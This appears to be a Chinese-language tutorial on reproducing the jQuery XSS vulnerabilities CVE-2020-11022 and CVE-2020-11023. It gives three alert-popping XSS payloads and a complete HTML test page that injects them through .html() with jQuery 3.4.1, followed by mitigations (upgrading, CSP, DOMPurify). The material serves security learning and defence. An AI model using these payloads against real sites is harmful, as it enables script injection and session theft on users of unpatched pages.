当前位置：首页 > news >正文

还在用老版本jQuery？手把手教你复现CVE-2020-11022/11023这个XSS漏洞（附完整PoC）

news 2026/6/10 6:35:40

从零复现jQuery历史XSS漏洞：CVE-2020-11022/11023实战指南

当jQuery 3.5.0在2020年4月发布时，安全社区发现其修复了两个可能让开发者夜不能寐的XSS漏洞。这两个编号为CVE-2020-11022和CVE-2020-11023的漏洞，影响了从1.2版本到3.5.0之前的所有jQuery版本——这意味着互联网上大量网站可能正暴露在风险中。

作为前端开发者或安全研究员，仅仅知道漏洞存在远远不够。本文将带你搭建完整的本地实验环境，通过三个精心设计的PoC案例，深入理解这些漏洞的触发机制。不同于简单的漏洞描述，我们会拆解每个攻击向量的构造原理，让你获得真正的实战能力。

1. 实验环境准备

1.1 基础工具配置

复现这类前端漏洞最便捷的方式是使用本地Web服务器。以下是几种常见选择：

PHPStudy（Windows平台）：

# 下载后直接安装，启动Apache服务 # 将实验文件放在WWW目录下即可通过localhost访问

Node.js静态服务器：

npm install -g http-server http-server -p 8080

Python简易服务器：
```
python3 -m http.server 8000
```

建议使用Chrome或Firefox的最新版本进行测试，它们提供了完善的开发者工具帮助调试。

1.2 漏洞版本jQuery获取

我们需要特定版本的jQuery来复现漏洞：

版本类型	CDN链接	影响状态
易受攻击版本	https://code.jquery.com/jquery-3.4.1.min.js	受影响
已修复版本	https://code.jquery.com/jquery-3.5.0.min.js	安全

提示：所有实验建议在隔离的虚拟机或专用测试环境中进行，避免意外影响生产系统。

2. 漏洞原理深度解析

2.1 DOM操作的安全边界

jQuery提供的.html()和.append()等方法本应自动处理HTML字符串中的潜在威胁，但在特定条件下，其消毒机制会被绕过。核心问题出在：

样式标签解析异常（CVE-2020-11022）：
```
<style><style /><img src=x onerror=alert(1)>
```
这种嵌套的<style>标签会干扰jQuery的解析器，导致后续的onerror事件被执行。
属性值逃逸（CVE-2020-11023）：
```
<img alt="<x" title="/><img src=x onerror=alert(1)>">
```
精心构造的属性值可以提前闭合前一个标签，注入新的恶意元素。

2.2 三种PoC的构造艺术

PoC 1：样式标签攻击

<style><style /><img src=x onerror=alert(1)>

第一个<style>开启样式块
<style />自闭合标签扰乱解析
最终onerror中的脚本得以执行

PoC 2：属性逃逸攻击（仅影响jQuery 3.x）

<img alt="<x" title="/><img src=x onerror=alert(1)>">

利用属性值中的特殊字符破坏原有HTML结构
需要jQuery 3.x特定的解析逻辑才能触发

PoC 3：选择器混淆攻击

<option><style></option></select><img src=x onerror=alert(1)></style>

通过<option>和<select>标签的异常组合
干扰DOM构建过程绕过安全检查

3. 逐步复现漏洞

3.1 基础测试页面搭建

创建vulnerable.html文件，包含以下结构：

<!DOCTYPE html> <html> <head> <title>jQuery XSS复现实验</title> <script src="jquery-3.4.1.min.js"></script> </head> <body> <div id="test-area"></div> <script> function executePoC(pocNumber) { const payload = document.getElementById(`poc${pocNumber}`).innerHTML; $('#test-area').html(payload); } </script> <h2>选择PoC进行测试：</h2> <button onclick="executePoC(1)">PoC 1</button> <button onclick="executePoC(2)">PoC 2</button> <button onclick="executePoC(3)">PoC 3</button> <!-- 隐藏的PoC代码 --> <xmp id="poc1" hidden> <style><style /><img src=x onerror=alert('PoC1触发成功!')> </xmp> <xmp id="poc2" hidden> <img alt="<x" title="/><img src=x onerror=alert('PoC2触发成功!')>"> </xmp> <xmp id="poc3" hidden> <option><style></option></select><img src=x onerror=alert('PoC3触发成功!')></style> </xmp> </body> </html>

3.2 复现过程观察

启动本地Web服务器，在浏览器中打开HTML文件
依次点击三个测试按钮，观察弹窗行为
使用开发者工具（F12）检查DOM变化：
- Network面板：确认加载的是漏洞版本jQuery
- Elements面板：观察payload如何被解析为实际DOM
- Console面板：查看可能的错误信息

注意：现代浏览器可能会内置XSS保护机制，如果测试不成功，尝试在隐身模式下进行测试。

4. 防御方案与最佳实践

4.1 立即修复措施

升级jQuery：直接升级到3.5.0+版本

<script src="https://code.jquery.com/jquery-3.5.0.min.js"></script>

内容安全策略（CSP）：

Content-Security-Policy: script-src 'self'; object-src 'none';

4.2 深度防御策略

输入验证：

// 使用DOMPurify清理用户输入 import DOMPurify from 'dompurify'; const cleanHTML = DOMPurify.sanitize(userInput);

安全编码模式：
- 优先使用.text()而非.html()
- 对动态内容使用文本节点：
```
$('#output').append(document.createTextNode(userContent));
```
框架内置保护：
- 现代框架如React/Vue有默认的XSS防护
- 避免在React中使用dangerouslySetInnerHTML